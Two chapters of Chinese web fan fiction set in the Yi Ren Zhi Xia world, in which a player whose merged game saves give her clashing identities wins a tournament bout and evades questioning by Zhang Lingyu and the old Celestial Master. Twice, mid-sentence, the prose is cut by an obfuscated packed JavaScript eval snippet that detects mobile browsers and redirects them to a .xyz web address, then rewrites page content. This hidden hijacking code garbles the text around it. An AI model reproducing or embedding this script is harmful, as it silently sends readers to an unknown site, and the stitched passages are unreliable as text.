《【一人之下】魔女游戏加载中》 3. 第 3 章 对目前发生的一切突发事件,叶眠都还算接受良好。 情况实在是显而易见:所有存档的时间线,都毫无章法地缠成了一团。眼下,她同时拥有以下四种完全不同、却都合法生效的身份: 首先,在第一个存档里,她是上世纪二十年代一位不知名的一般路过异人甲,在甲申之乱前就神秘失踪,音讯全无。 接着,在第二个存档里,她变成了龙虎山挂名弟子。但当事人几乎大门不出二门不迈,沉迷修炼,极致卷王。在山上修行七年后,97年下山游历,下落不明。 与此同时,第三个存档中,1993年的北京,还有一个六岁的转学生“叶眠”,正勤勤恳恳攻读自己的小学学位。她在这个档的存在时间最久,直到09年才再次消失。 最后,现在,时间来到了2015年。她是阳光开朗的十八岁女大,正在南不开大学读大二,成绩优异性格开朗,并预备在这场意外发生的罗天大醮上崭露头角。 时间线完全紊乱,人际关系也算得上的一团乱麻。 并且,根据王也刚刚的状态来看,他一定还保有前几个周目的回忆。而在她一路小跑进会场后,充当裁判的那位龙虎山师兄,也认出了她—— “叶眠!?”在这位师兄隐约带点破音的声调中,她抬起头,冲他露出了一个熟悉的微笑。而前者则并没她这样好的心态,比起继续主持比赛,他看起来更想321跳进场子里了,“你是叶眠吗?你……” 然而,叶女士却并没什么自觉,只冲他挥了挥手,又向同样出现在看台上的王也抛了个眼神,就又飞快地挪开了视线。 没逝的。她想,王也会帮她按住师兄的。 无论如何,先干仗吧。 ……逃避虽然可耻,但确实有用。 ……她稍显心虚地将目光移回到了自己正前方。 场内站着的,是三个很有趣的年轻人。 离她最近的那个,是个身着红黄两色袍服的年轻喇嘛,眉目冷峻,手中捏着一把不知名地法器。 她瞥了眼他头顶:【行纪·密宗不动明王】,血条蓝条都是满的,红色那条明显更长些,显然是个修命大于修性的练家子。 稍远一点的,是身材魁梧的道士,眯着眼,脸上带着点狡猾的笑意,指间卷着一团风沙,大概是个术士。 【赵照·野茅山风沙决】,两条数值都并不很长,看起来没什么太大威胁。 最后则是个传统中原装束的佛家弟子,眼神清明,不慌不忙,手持一根重而长的金刚杵,周身散发着淡白色的光亮。 佛修,用不着看了,准是修金刚经的没跑。 总的来说,这三位对她来说都没什么威胁,属于白给选手。 但她却不免有些犹疑:要不要略放点水,拖一拖时间…… 刚刚见到王也时,她就已经暂停游戏,找客服问过了缘由——前略,后略,总而言之,游戏卡出了某种不知名bug,把她的四个档都合并在一起了。 ……毕竟还在测试阶段,能出这种岔子,其实也在意料之内。 客服的建议是重开新档,技术人员会帮忙把张楚岚档的数据单独提取出来,并给予她一定补偿。 不过,短暂的思索过后,叶眠还是婉拒了这个提议。无论如何,另外三个档里,她也的确花费了许多时间和感情——更何况,四档合并,听起来还蛮有意思的。 但,同样的,这也就意味着她就不得不面临另一个问题了:这些档所在的时间线,是存在一定重合的。 该怎么交代呢…… 她舔了舔上唇,一边很有些发愁的琢磨,一边侧头避开一记来自密宗弟子的横扫,同时脚尖发力,上半身轻轻后仰,好叫一道风诀擦着她的发丝穿过。 几乎就在下一瞬,风沙诀术士已如鬼影般掠至她身后。他并不尝试硬碰,而是绕着她走圆,每一次掠身,都会带出一记滑削的风。 而且,更混乱的是,她在每个档的年龄也各不相同。 如果要设定她最本质的那个“出生日期”,追溯回第一个存档,那她如今已有一百多岁的高龄了。 她慢吞吞地眨了眨眼,决定暂时把这条无解的问题抛之脑后。 与此同时,金刚经弟子也已收势而至,此人披袍削影,双臂上凝出炁印,佛印在拳,送来一记带着烈烈风声的可怕重击。 几乎只在瞬间,三人便完成了合围,似乎已经精准封锁住了她的全部出路。 “……不对。”叶眠却仍旧没回神,只喃喃道,“其他人都还好办,但天师这边没法糊弄。我又打不过他,呃,那个血条长度……” 她的左肩一动,紧接着右腿用力,身形后倾,如同一尾鱼脱水上岸、再跌回水中,整个人如落叶般荡了出去,莫名其妙地滑出了包围圈。 “不然跑路吧。”短暂思考过后,叶女士开始摆烂。 在最终合并世界里的1990-2005年,张灵玉和王也的两条线中,她同时存在于龙虎山和北京——两边都有无数目击证人,这实在是无可辩驳。 “嘶。”观众席上,有人低声议论,“这是哪一门的身法……?” “不知道,但她没用炁吧?就只单凭体术?” “有点恐怖了吧?” 啊……这下真成不老魔女了。 她眼神涣散,像是完全没在关注场上的局势,只骤然将脚步一顿,接着往后撤了一截。 一道金光“轰”地穿透她方才所立之地,土石横飞,连带更后方的墙面都被崩塌半面。 她仍旧没有回头。 比赛已经开始整整八分钟,然而场面却十分怪异,她仿佛一幅笔力松弛的水墨画,避实击虚,全靠余韵与写意。 没有招式,没有气势,甚至没有即时反应。只像是在顺着什么看不见的轨迹游走,并恰好从所有攻击的夹缝中穿过。 稍有眼力些的观众,已经看出了其中的端倪——显而易见,这是一场绝对一边倒的放风筝。 或者说……嗯,她在拖长战局。不然,以她的身法,早就能完全结束这场擂台赛了。 旁观者能想到的,擂台内的另三位也自然不至于仍旧明白不过来。他们显然在心态上已经开始破防,出手也愈加乱起来了。 于是,破绽越来越多。 终于,在又放了五分多钟风筝后,她仿佛下定了什么决心似的,猛地向后躲出一步,刚好挡在了那位野茅山的后退路线上。术士哥一愣,被迫收式错身—— 然后,狠狠地撞上了佛家弟子的肩膀。 而几乎就在同一瞬间,密宗那位年轻僧人的重拳已经追了过来,术士慌张的扬起风沙护体,金刚经的金光也骤然大放,三股炁力在擂台中央撞成了一团。 “嘭!!” 霎时间,碎石纷飞,光场骤然波动,三道身影同时被震退数米,落地姿势各不相同——一个跪倒、一个半趴、一个死死握住自己右臂,额头青筋绽起。 反观叶女士,她则正施施然地站在擂台边缘,背心干净清爽、头发保持着微妙的凌乱、表情看起来甚至还有点…… 呃,放空。 这场比赛的结果,已经再清晰不过了。 裁判抬高一条手臂,张口道:“——叶眠,胜!” 叶眠眨了眨眼,然后十分做作的掸了掸衣角,接着低头、转身,开始慢悠悠地、若无其事地、带着某种狗狗祟祟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529145|170797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷感,往出口处溜达。 至于观众席上尝试喊她名字的那位师兄,她则全装作没听见,只越发加快了脚步。 然而,遗憾的是,她才刚走到擂台出口,视线正前方,就出现了一双布鞋。 黑色布面,经典款式,十分眼熟。 叶眠缓缓抬头。 ……张灵玉。 穿着纯白色练功服,双手背后站定,眼中带着冷意,安静得像一座嶙峋山石的,张灵玉。 叶眠:“……” 她脚步一顿,身子微僵,下意识露出一个笑容——一个不十分心虚,但也肯定谈不上诚恳的讪笑: “哎呀,好巧,小师兄……吃了吗您?” 张灵玉却没回她,只将目光落在她右脚已经悄悄迈出去半步的动作上:“你不打算解释一下吗?” 叶眠努力挤出一点可怜相:“……说来话长啊小师兄,我整理一下前因后果,过两天给咱师父呈一份八千字报告,您觉着成吗?” 张灵玉不置可否,只说:“口音也变了。” “哈哈,你看这事闹的。其实是因为我下山后所遇非人,惨遭北京某钻石王老三施行违法人身绑架,被栓在他的一千八百平大别野里搞囚禁Play啦。” 叶眠哼哼唧唧半天,几乎要歪过嘴开始吹口哨了: “这十几年我过得太黑暗了小师兄,为了活下来我不得不患上了人格分裂和失忆症。往事暗沉不可追,来日之路光明灿烂,就取个熹字,往后您就叫我的新人格叶熹如何?” 张灵玉:“……” 终于赶到现场的王道长大为震撼:“……啊?谁?” 叶眠毫无往老实人头上泼沥青的道德压力,一把捞过这位一般路过竹马哥,很自觉地躲到了他身后,继续叭叭: “小师兄,我的新人格今年刚满十八岁,是个非常脆弱的小女孩……啊啊别瞪我了!你倒是帮我说两句话啊王也!” 王也实在觉着,自己已经很修得一副菩萨心肠了——在这种情形中,他居然还能保持心平气和吗。 祖师爷在上,弟子难不成是要得道了么。 ……祖师爷没回应他,但张灵玉回应了。 “你先放开人家。”这位一身素白的小师兄平静道,“这账只和你一个人算。” “我不放。”叶眠深吸一口气,接着一把搂住王也的胳膊,“我和这位道长其实已经情投意合,私相相授……后面忘了,总之我们俩马上就要远走高飞,有什么都冲我们俩——不,都先冲他来!” “哪儿的话?!”还没等张灵玉说话,王也已经大惊失色,开始狂甩自己这条被束缚住的臂膀,“使不得啊这位女施主,小道我是正经来比赛的,比完还要回武当吃斋呢!松手!松手啊!!” 叶眠当即发出两声恶毒的桀桀笑声,接着两手用力——她甚至在其上附上了自己的炁! 刚刚比赛时,她都没动用过哪怕一次的炁! 在这番强抢民男的强盗行径下,小王道长几乎也显得柔弱起来了:“天尊啊!张灵玉道长,您管管——谁来管管呢——有人来管管吗——” 很遗憾,没有人。 倒是有俩认识叶眠的热心群众,正在观众席上吵吵嚷嚷着什么“眠姐99”“磕到了”云云,主要起到一个营造不当气氛,并尽力帮倒忙的作用。 ……不过,他们这番动静,倒是惹来了另一小搓人的注目。 一小撮包含黑长直三无美少女、商务精英男、卷毛社会哥,以及四叶草男大的,很受赛事主办方关注的人群。 而更恰好的是,他们中的某一位,顺利认出了这场混乱的始作俑者。 他倒吸了一口冷气。 4. 第 4 章 “叶道友。” 就在这一片混沌中,终于有人尝试为王也发声了。 说话的是位刚赶来的小道士,个头不高,面颊上挂着点尚未褪尽的雀斑,很乖巧的样子:“老天师请您稍后移步偏堂,有要事询问。” 王也喜出望外,立即一叠声地帮叶眠应下:“好好好,您快请吧!” “什么?!”叶小比闻言大惊失色,脑袋飞速旋转,开始四处寻觅起逃生通道:“……我不去!” “另外,”小道士目光扫过王也,又补充道,“请这位也一并同行,由灵玉师叔带二位过去就好。” 王也:…… 他本就不很直的腰杆,肉眼可见地又更塌了一截。 “啊,还有我的事。” 他叹了口气,将叶眠从自己右臂上妥帖地撕了下来,仔细抓住她背心后的一截布料,确认当事人不会一个老太太钻被窝溜之大吉后,才向白毛小师叔点了点头:“唉……行,那劳烦您领路吧?” 在张灵玉不赞同的目光中,他就这样拎着表情绝望且不断发出噪音的旧友,以及她心爱的破塑料袋子和纪念品,溜溜达达的跟上了前者的步伐。 至于他们身后,有人压低声音,轻声向身边的卷毛领导打探消息这回事——当事人还暂时一无所知。 * “我叫叶眠,我重生了。”她说。 得益于对方得天独厚的生理优势,即便放大游戏画面,她也仍旧看不清老天师眼神中的情绪色彩。 这给了叶眠一些不必要的自信,让她能流畅的把这套瞎话编完。 “上一世,我是地地道道的北京户口大小姐,读完大学后离奇转生,竟意外变成了天津籍美少女。” “两年前,我突然觉醒了前世的记忆。但为了完成学业,我还是坚持参加高考,并被某知名大学录取,目前正在攻读大学学位中。” “……后来发生了一些事,总之,最后我决定隐姓埋名,参加这场命运般的罗天大醮,只是想回到生我养我的龙虎山,再见前世的亲朋好友一面。” 最后,她煞有介事地总结:“如今我夙愿已结,不会再叨扰诸位,等比赛结束自会下山……哇!老头儿怎么又打人!!” “没一句实话。”老天师重拳出击,隔空赏了她一个重重的脑瓜崩,“这趟瞎话连灵玉都骗不过去。这都哪跟哪,欺师灭祖哇小叶子。” 叶眠在原地蠕动半晌,尽可能让自己在王也身后缩的再小一点:“情况就是这么个情况,具体是什么情况还得再看情况。” “你重、重生后,是跟这位王道友一起长大的?”张灵玉拉着他那张冰雕玉琢漂亮脸蛋,继续审问,“所以他后来也入道修行了??” “啊,对。”叶眠探出半张脸,下颌点了点,“但他信哪门子教和我没一点关系,全是他自己悟的。” 被拿来充当遮蔽障碍物的王也瞥了她一眼,不过并没说什么。 “你如今师从哪派?练哪一门术式?”老天师似乎很慈祥地问,“我刚刚看了你的比赛录像,性命都修的有几分样子了嘛。” 叶眠开始挠头:“我哪派也没学,只仍旧练咱们山头上的金光咒。不过倒是研究出了几样旁门左道的术式。” “无门无户。”傻白甜小师兄眨了眨眼,神情中带着点难掩的高兴,又问,“那你要回龙虎山来吗?” “不回。”叶眠毫不犹豫,斩钉截铁,“我目前的人生目标是在大学谈上恋爱,然后雨中分手,聚会重逢,旧情复燃,和好,被拆散,浪迹天涯,最后看破红尘,大彻大悟。” 面对这份详尽且长远的规划,龙虎山师徒二位还没点评,她身前障碍物便最先没绷住,肩膀哆哆嗦嗦,漏出了一小截扭曲的憋笑失败音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529146|170797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶眠给了他一拳。 王也立正了。 “你一点都没变啊,小叶子。”老天师没有这份挨修正拳的风险,于是发出几声十分老钱的笑声,接着便点点头: “也好,活着就好,都随你吧。有空常回龙虎山看看我们这些老东西——” 他顿了顿,又意味深长地补充道:“哦,你还多了个便宜师侄,说不定会在接下来的比赛里遇上他。” 叶眠指望着尽快跳过这些话题,只管胡乱应声,完全是哄老头儿的态度:“嗯嗯好好好,师侄年少有为,超期待捏。” 老天师看看她,又看一看被她拉在身前挡着的好脾气小道士,面上笑意更甚:“小王也啊,你皈的是全真,对吧?” “啊?是啊。”王也点头,神色自然得很,“武当全真嘛,清静无为,逍遥自在。” 老天师点头,眼角却慢悠悠飘去叶眠,嘴角笑容又多了几分:“全真好啊,只一点不如正一,哎呀……” 哎呀什么呢? 叶眠没听懂,她自觉面前的危机已经解决大半,已经开始在脑袋里扒拉自己另一把算盘了。 不过,显然,明显比她通人性得多的王道长听懂了。 “您快打住!”他赶紧摆手,笑着解释,“哪儿跟哪儿啊,我们两家是邻居,自小一起玩大的,纯发小,您别瞎猜。” “哦——那还真是……”老天师意味深长地一拖腔,眼里那点兴致勃勃的八卦光芒,怎么看都很像在等一句“但其实,我们现在……” 然而,很遗憾,确实没有这样的后续了。 叶眠和王也,确实是真正意义上的、非常纯粹的、完全且彻底的正经青梅竹马。 从他们六岁开始。 这实在是一个相当漫长,同时又十分直白寡淡的故事。 ——至少,叶眠本人是这样觉得的。